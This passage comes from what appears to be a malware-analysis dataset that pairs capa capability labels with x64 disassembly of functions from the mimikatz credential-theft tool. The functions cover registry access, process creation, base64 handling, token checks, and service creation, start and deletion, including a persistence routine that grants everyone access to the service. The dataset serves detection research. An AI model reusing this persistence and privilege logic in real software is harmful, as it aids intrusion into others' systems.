joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000b49c
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
mov rdx, qword [rdx]
mov ebp, ecx
mov ebx, 0xc0000004
test rdx, rdx
je 0x18000b4d0
lea r9, [rax + 0x10]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ebx, eax
jmp 0x18000b516
mov edi, 0x1000
mov edx, edi
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsi], rax
test rax, rax
je 0x18000b516
lea r9, [rsp + 0x38]
mov r8d, edi
mov rdx, rax
mov ecx, ebp
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ebx, eax
test eax, eax
jns 0x18000b50c
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_LocalFree]
add edi, edi
cmp ebx, 0xc0000004
je 0x18000b4d5
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000c1c8
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0xd0
mov r15d, r8d
mov edi, ecx
mov rsi, rdx
xor ebp, ebp
lea rcx, [rax - 0x78]
xor edx, edx
lea ebx, [rbp + 0x68]
or r15d, 0x10
mov r8d, ebx
call fcn.180051c00
mov dword [rsp + 0x60], ebx
cmp qword [rsp + 0x120], rbp
je 0x18000c21b
mov rbx, qword [rsp + 0x120]
jmp 0x18000c22c
mov edx, reloc.ODBC32.dll_SQLAllocHandle
lea ecx, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rbx, rbx
je 0x18000c363
mov rcx, rsi
call fcn.18004eea8
mov rsi, rax
test rax, rax
je 0x18000c363
test edi, edi
je 0x18000c2e6
dec edi
je 0x18000c2ad
dec edi
jne 0x18000c347
mov r9d, dword [rsp + 0x100]
mov r8, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x108]
mov qword [rsp + 0x50], rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
and qword [rsp + 0x40], rbp
and qword [rsp + 0x38], rbp
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rsi
and qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
jmp 0x18000c319
mov qword [rsp + 0x50], rbx
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
and qword [rsp + 0x40], rbp
and qword [rsp + 0x38], rbp
mov dword [rsp + 0x30], r15d
and dword [rsp + 0x28], ebp
and qword [rsp + 0x20], rbp
mov r8, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x18000c319
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], rbp
and qword [rsp + 0x30], rbp
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ebp, eax
test eax, eax
je 0x18000c347
cmp dword [rsp + 0x128], 0
jne 0x18000c334
cmp qword [rsp + 0x120], 0
jne 0x18000c35b
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x120], 0
jne 0x18000c35b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rsi
call fcn.18004edb8
lea r11, [rsp + 0xd0]
mov eax, ebp
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
Function at 0x18000c99c
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [r9]
xor ebx, ebx
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov dword [rax], ecx
test ecx, ecx
je 0x18000cae9
dec ecx
jne 0x18000cade
lea edx, [rbx + 0x20]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rcx, rax
mov rax, qword [rdi]
mov qword [rax + 8], rcx
mov rax, qword [rdi]
cmp qword [rax + 8], rbx
je 0x18000cade
mov eax, esi
mov rcx, rbp
mov qword [rsp + 0x28], rbx
neg eax
mov dword [rsp + 0x20], ebx
sbb r8d, r8d
xor r9d, r9d
xor edx, edx
and r8d, 2
add r8d, 2
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rdx, rax
mov rax, qword [rdi]
mov rcx, qword [rax + 8]
mov qword [rcx], rdx
mov rax, qword [rdi]
mov rcx, qword [rax + 8]
cmp qword [rcx], rbx
je 0x18000cade
mov rcx, qword [rcx]
neg esi
mov qword [rsp + 0x20], rbx
sbb edx, edx
xor r9d, r9d
xor r8d, r8d
and edx, 0xfffffffe
add edx, 4
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdx, rax
mov rax, qword [rdi]
mov rcx, qword [rax + 8]
mov qword [rcx + 8], rdx
mov rax, qword [rdi]
mov rdx, qword [rax + 8]
mov rcx, qword [rdx + 8]
test rcx, rcx
je 0x18000cade
cmp dword [rcx], 0x66676572
jne 0x18000cac4
cmp dword [rcx + 0x1c], ebx
jne 0x18000cac4
add rcx, 0x1000
cmp dword [rcx], 0x6e696268
jne 0x18000cac4
mov qword [rdx + 0x10], rcx
movsxd rax, dword [rcx + 4]
lea rdx, [rcx + 0x20]
add rdx, rax
mov rax, qword [rdi]
mov rcx, qword [rax + 8]
mov qword [rcx + 0x18], rdx
mov rax, qword [rdi]
mov ecx, 0x6b6e
mov rdx, qword [rax + 8]
mov rax, qword [rdx + 0x18]
cmp word [rax + 4], cx
jne 0x18000cac4
test byte [rax + 6], 0xc
jne 0x18000cae9
mov rcx, qword [rdx + 8]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rax, qword [rdi]
mov rcx, qword [rax + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x18000caee
mov ebx, 1
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18000d0cc
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov r9d, dword [rcx]
xor ebx, ebx
mov r10, r8
mov r11, rdx
mov r14, rcx
test r9d, r9d
je 0x18000d17d
dec r9d
jne 0x18000d1b6
call fcn.18000cf8c
test rax, rax
mov rcx, rax
setne bl
test ebx, ebx
je 0x18000d1b6
mov edi, dword [rax + 8]
mov rdx, qword [rsp + 0x60]
btr edi, 0x1f
test rdx, rdx
je 0x18000d12d
mov eax, dword [rax + 0x10]
mov dword [rdx], eax
mov rsi, qword [rsp + 0x70]
test rsi, rsi
je 0x18000d1b6
mov r9, qword [rsp + 0x68]
test r9, r9
je 0x18000d179
xor ebx, ebx
cmp dword [rsi], edi
setae bl
test ebx, ebx
je 0x18000d179
test dword [rcx + 8], 0x80000000
je 0x18000d15b
lea rdx, [rcx + 0xc]
jmp 0x18000d16e
mov rax, qword [r14 + 8]
movsxd r8, dword [rcx + 0xc]
mov rdx, qword [rax + 0x10]
add rdx, 4
add rdx, r8
mov r8d, edi
mov rcx, r9
call fcn.18005bdd0
mov dword [rsi], edi
jmp 0x18000d1b6
mov rax, qword [rsp + 0x70]
mov r9, qword [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov rdx, r10
mov rcx, r11
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete bl
test ebx, ebx
jne 0x18000d1b6
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop r14
ret

Function at 0x18000d1d0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov r9d, dword [rcx]
xor ebx, ebx
mov r10, r8
mov r11, rdx
mov rdi, rcx
test r9d, r9d
je 0x18000d263
dec r9d
jne 0x18000d29a
call fcn.18000cf8c
mov rcx, rax
test rax, rax
je 0x18000d29a
mov edx, dword [rax + 8]
mov r8d, edx
btr r8d, 0x1f
cmp r8d, dword [rsp + 0x70]
setae bl
test ebx, ebx
je 0x18000d25c
mov eax, dword [rsp + 0x60]
mov dword [rcx + 0x10], eax
mov eax, 0x80000000
and edx, eax
or edx, dword [rsp + 0x70]
mov dword [rcx + 8], edx
test eax, edx
je 0x18000d23d
add rcx, 0xc
jmp 0x18000d250
movsxd rdx, dword [rcx + 0xc]
mov rax, qword [rdi + 8]
mov rcx, qword [rax + 0x10]
add rcx, 4
add rcx, rdx
mov rdx, qword [rsp + 0x68]
call fcn.18005bdd0
jmp 0x18000d29a
mov ecx, Ordinal_54
jmp 0x18000d294
mov eax, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x60]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x68]
mov rdx, r10
mov rcx, r11
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
test ebx, ebx
jne 0x18000d29a
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18000d2a8
Capabilities:
Query or enumerate registry key

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r10d, dword [rcx]
xor r12d, r12d
mov r14, r9
mov r11d, r8d
mov rbp, rdx
mov edi, r12d
test r10d, r10d
je 0x18000d3de
dec r10d
jne 0x18000d41b
cmp dword [rdx + 0x18], r12d
je 0x18000d41b
cmp r11d, dword [rdx + 0x18]
jae 0x18000d41b
cmp dword [rdx + 0x20], 0xffffffff
je 0x18000d41b
mov rax, qword [rcx + 8]
movsxd rcx, dword [rdx + 0x20]
mov r8, qword [rax + 0x10]
add rcx, r8
movzx eax, word [rcx + 4]
add eax, 0xffff9994
test eax, 0xfffffdff
jne 0x18000d41b
cmp word [rcx + 6], r12w
je 0x18000d41b
movzx eax, word [rcx + 6]
cmp r11d, eax
jae 0x18000d41b
movsxd rdx, dword [rcx + r11*8 + 8]
mov eax, 0x6b6e
add rdx, r8
cmp word [rdx + 4], ax
jne 0x18000d41b
test r9, r9
je 0x18000d41b
mov rsi, qword [rsp + 0x80]
test rsi, rsi
je 0x18000d41b
test byte [rdx + 6], 0x20
je 0x18000d3b4
movzx ebx, word [rdx + 0x4c]
cmp dword [rsi], ebx
seta dil
test edi, edi
je 0x18000d3da
lea rcx, [rdx + 0x50]
mov edx, ebx
call fcn.1800106c4
mov rbp, rax
test rax, rax
je 0x18000d3d5
lea r8, [rbx + rbx]
mov rdx, rax
mov rcx, r14
call fcn.18005bdd0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x18000d3d5
movzx ebx, word [rdx + 0x4c]
shr ebx, 1
cmp dword [rsi], ebx
seta dil
test edi, edi
je 0x18000d3da
movzx r8d, word [rbp + 0x4c]
add rdx, 0x50
mov rcx, r9
call fcn.18005bdd0
mov word [r14 + rbx*2], r12w
mov dword [rsi], ebx
jmp 0x18000d41b
mov r9, qword [rsp + 0x80]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov r8, r14
mov edx, r11d
mov rcx, rbp
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
sete dil
test edi, edi
jne 0x18000d41b
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov eax, edi
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
Function at 0x18000d43c
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
xor r13d, r13d
mov r10, rdx
mov edx, dword [rcx]
mov r12, r9
mov r11d, r8d
mov r15, rcx
mov edi, r13d
test edx, edx
je 0x18000d604
dec edx
jne 0x18000d659
test r10, r10
jne 0x18000d489
mov rax, qword [rcx + 8]
mov r10, qword [rax + 0x18]
mov eax, 0x6b6e
cmp word [r10 + 4], ax
jne 0x18000d659
cmp dword [r10 + 0x28], r13d
je 0x18000d659
cmp r11d, dword [r10 + 0x28]
jae 0x18000d659
cmp dword [r10 + 0x2c], 0xffffffff
je 0x18000d659
mov rax, qword [rcx + 8]
movsxd rcx, dword [r10 + 0x2c]
add rcx, qword [rax + 0x10]
movsxd rbx, dword [rcx + r11*4 + 4]
add rbx, qword [rax + 0x10]
mov eax, 0x6b76
cmp word [rbx + 4], ax
jne 0x18000d659
test r9, r9
je 0x18000d659
mov r14, qword [rsp + 0x90]
test r14, r14
je 0x18000d659
movzx eax, word [rbx + 6]
test ax, ax
je 0x18000d585
test byte [rbx + 0x14], 1
movzx esi, ax
movzx edx, ax
je 0x18000d51f
lea rcx, [rbx + 0x18]
inc esi
call fcn.1800106c4
mov rbp, rax
jmp 0x18000d54f
shr esi, 1
add rdx, 2
mov ecx, 0x40
inc esi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbp, rax
test rax, rax
je 0x18000d659
movzx r8d, word [rbx + 6]
lea rdx, [rbx + 0x18]
mov rcx, rax
call fcn.18005bdd0
test rbp, rbp
je 0x18000d659
cmp dword [r14], esi
setae dil
test edi, edi
je 0x18000d57a
mov r8d, esi
mov rdx, rbp
mov rcx, r12
add r8, r8
call fcn.18005bdd0
lea eax, [rsi - 1]
mov dword [r14], eax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x18000d588
mov dword [r14], r13d
test edi, edi
je 0x18000d659
mov esi, dword [rbx + 8]
mov rcx, qword [rsp + 0xa0]
btr esi, 0x1f
test rcx, rcx
je 0x18000d5a9
mov eax, dword [rbx + 0x10]
mov dword [rcx], eax
mov r14, qword [rsp + 0xb0]
test r14, r14
je 0x18000d659
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x18000d5ff
cmp dword [r14], esi
mov edi, r13d
setae dil
test edi, edi
je 0x18000d5ff
test dword [rbx + 8], 0x80000000
je 0x18000d5e4
lea rdx, [rbx + 0xc]
jmp 0x18000d5f7
mov rax, qword [r15 + 8]
movsxd r8, dword [rbx + 0xc]
mov rdx, qword [rax + 0x10]
add rdx, 4
add rdx, r8
mov r8d, esi
call fcn.18005bdd0
mov dword [r14], esi
jmp 0x18000d659
mov rax, qword [rsp + 0xb0]
mov r9, qword [rsp + 0x90]
mov r8, r12
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa8]
mov edx, r11d
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa0]
mov rcx, r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
sete dil
test edi, edi
jne 0x18000d659
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea r11, [rsp + 0x40]
mov eax, edi
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180010010
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, r8
mov rbp, rdx
mov rdx, rcx
xor ebx, ebx
mov rcx, rdi
lea r8d, [rbx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
je 0x18001006b
lea rax, [rsp + 0x58]
lea r9d, [rbx + 0x24]
mov r8, rbp
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180010108
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
xor ebx, ebx
lea rdx, str.ServicesActive
lea r8d, [rbx + 1]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x18001016e
mov r8d, 0x10000
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x180010165
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800103cc
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x70
mov rbp, r8
xor edi, edi
lea rdx, str.ServicesActive
lea r8d, [rdi + 3]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x180010576
lea r15, str.mimikatzsvc
lea r8d, [rdi + 0x10]
mov rcx, rax
mov rdx, r15
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x18001043c
lea rcx, str.____s_service_already_registered_n
mov rdx, r15
call fcn.18000af2c
jmp 0x18001050e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
jne 0x1800104fa
lea rcx, str.____s_service_not_present_n
mov rdx, r15
call fcn.18000af2c
and qword [rsp + 0x60], rdi
and qword [rsp + 0x58], rdi
and qword [rsp + 0x50], rdi
and qword [rsp + 0x48], rdi
and qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x30], 1
lea r8, str.mimikatz_service__mimikatzsvc_
mov r9d, 0x60010
mov rdx, r15
mov rcx, rsi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rbx, rax
test rax, rax
je 0x1800104eb
lea rcx, str.____s_service_successfully_registered_n
mov rdx, r15
call fcn.18000af2c
mov rcx, rbx
call fcn.180010268
mov edi, eax
test eax, eax
je 0x1800104dc
lea rcx, str.____s_service_ACL_to_everyone_n
jmp 0x18001042f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_service_install___kull_m_service_addWorldToSD__0x_08x__n
jmp 0x180010507
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_service_install___CreateService__0x_08x__n
jmp 0x180010507
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_service_install___OpenService__0x_08x__n
mov edx, eax
call fcn.18000af2c
test rbx, rbx
je 0x18001056b
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov edi, eax
test eax, eax
je 0x180010530
lea rcx, str.____s_service_started_n
jmp 0x180010544
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x18001054e
lea rcx, str.____s_service_already_started_n
mov rdx, r15
call fcn.18000af2c
jmp 0x180010562
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_service_install___StartService__0x_08x__n
mov edx, eax
call fcn.18000af2c
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x18001058a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_service_install___OpenSCManager_create___0x_08x__n
mov edx, eax
call fcn.18000af2c
lea r11, [rsp + 0x70]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
Function at 0x180011004
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
xor edi, edi
mov rsi, r8
mov rbx, rdx
and qword [rax - 0x18], rdi
and qword [rdx], rdi
and qword [rax - 0x20], rdi
and dword [r8], edi
mov qword [rax - 0x28], r8
lea r8d, [rdi + 1]
xor r9d, r9d
xor edx, edx
mov rbp, rcx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x18001108e
mov edx, dword [rsi]
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbx], rax
test rax, rax
je 0x18001108e
and qword [rsp + 0x30], rdi
and qword [rsp + 0x28], rdi
lea r8d, [rdi + 1]
mov r9, rax
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x20], rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov edi, eax
test eax, eax
jne 0x18001108e
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rbx], rax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov eax, edi
add rsp, 0x40
pop rdi
ret

Function at 0x18001117c
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r15, r8
mov r14, rdx
mov r12, rcx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [rbx + 0x40]
mov ebp, eax
and eax, 3
lea edx, [rax + 1]
add edx, ebp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x180011284
mov r8d, ebp
mov rdx, r12
mov rcx, rax
mov esi, ebp
call fcn.18005bdd0
test ebp, ebp
je 0x180011203
mov rax, rdi
cmp byte [rax], 0x2d
jne 0x1800111ea
mov byte [rax], reloc.ODBC32.dll_SQLGetData
jmp 0x1800111fb
cmp byte [rax], 0x5f
jne 0x1800111f4
mov byte [rax], 0x2f
jmp 0x1800111fb
cmp byte [rax], bl
jne 0x1800111fb
mov byte [rax], 0x3d
inc rax
dec rsi
jne 0x1800111e0
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor edx, edx
lea r8d, [r9 + 1]
mov rcx, rdi
mov qword [rsp + 0x28], rbx
mov esi, ebx
mov qword [r14], rbx
mov dword [r15], ebx
mov qword [rsp + 0x20], r15
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x180011279
mov edx, dword [r15]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [r14], rax
test rax, rax
je 0x180011279
xor edx, edx
mov qword [rsp + 0x30], rbx
mov r9, rax
lea r8d, [rdx + 1]
mov rcx, rdi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov esi, eax
test eax, eax
jne 0x180011279
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [r14], rax
mov rcx, rdi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
Function at 0x1800112a8
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
lea rax, [rax + 0x20]
mov rbx, r8
xor edi, edi
and dword [rax], edi
xor r9d, r9d
mov r8d, 0x40000001
mov qword [rsp + 0x20], rax
mov esi, edx
mov rbp, rcx
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x180011329
mov edx, dword [rsp + 0x58]
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbx], rax
test rax, rax
je 0x180011329
lea rcx, [rsp + 0x58]
mov r9, rax
mov r8d, 0x40000001
mov qword [rsp + 0x20], rcx
mov rcx, rbp
mov edx, esi
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov edi, eax
test eax, eax
jne 0x180011329
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rbx], rax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x30
pop rdi
ret

Function at 0x18001139c
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbp, qword [rsp + 0x70]
mov r12, rdx
mov rsi, rcx
mov edx, dword [rbp]
xor ebx, ebx
mov r14, r9
lea ecx, [rbx + 0x40]
mov r15d, r8d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x180011423
mov r9, rax
mov r8d, 0x80000001
mov edx, r15d
mov rcx, r12
mov qword [rsp + 0x20], rbp
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x18001141a
lea rdx, str._____BEGIN__s______n_s_____END__s______n
mov r9, rdi
mov r8, rsi
mov rcx, r14
mov qword [rsp + 0x20], rsi
call fcn.1800114c8
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x1800118b4
Capabilities:
Get token membership

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebx, ebx
mov rbp, r8
mov r14, rdx
lea rax, [r11 - 0x28]
lea r8, [r11 + 0x20]
lea r9d, [rbx + 4]
lea edx, [rbx + 8]
mov rsi, rcx
xor edi, edi
mov qword [r11 - 0x38], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x180011989
mov eax, dword [rsp + 0x78]
cmp eax, 1
jne 0x180011943
lea rax, [rsp + 0x38]
lea r9d, [rbx + 1]
lea edx, [rbx + 8]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x20], 2
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov edi, eax
test eax, eax
jne 0x18001194d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_token_CheckTokenMembership___DuplicateTokenEx__0x_08x__n
mov edx, eax
call fcn.18000af2c
mov eax, dword [rsp + 0x78]
jmp 0x180011948
mov qword [rsp + 0x38], rsi
cmp eax, 1
je 0x18001199d
mov rcx, qword [rsp + 0x38]
mov r8, rbp
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ebx, eax
test eax, eax
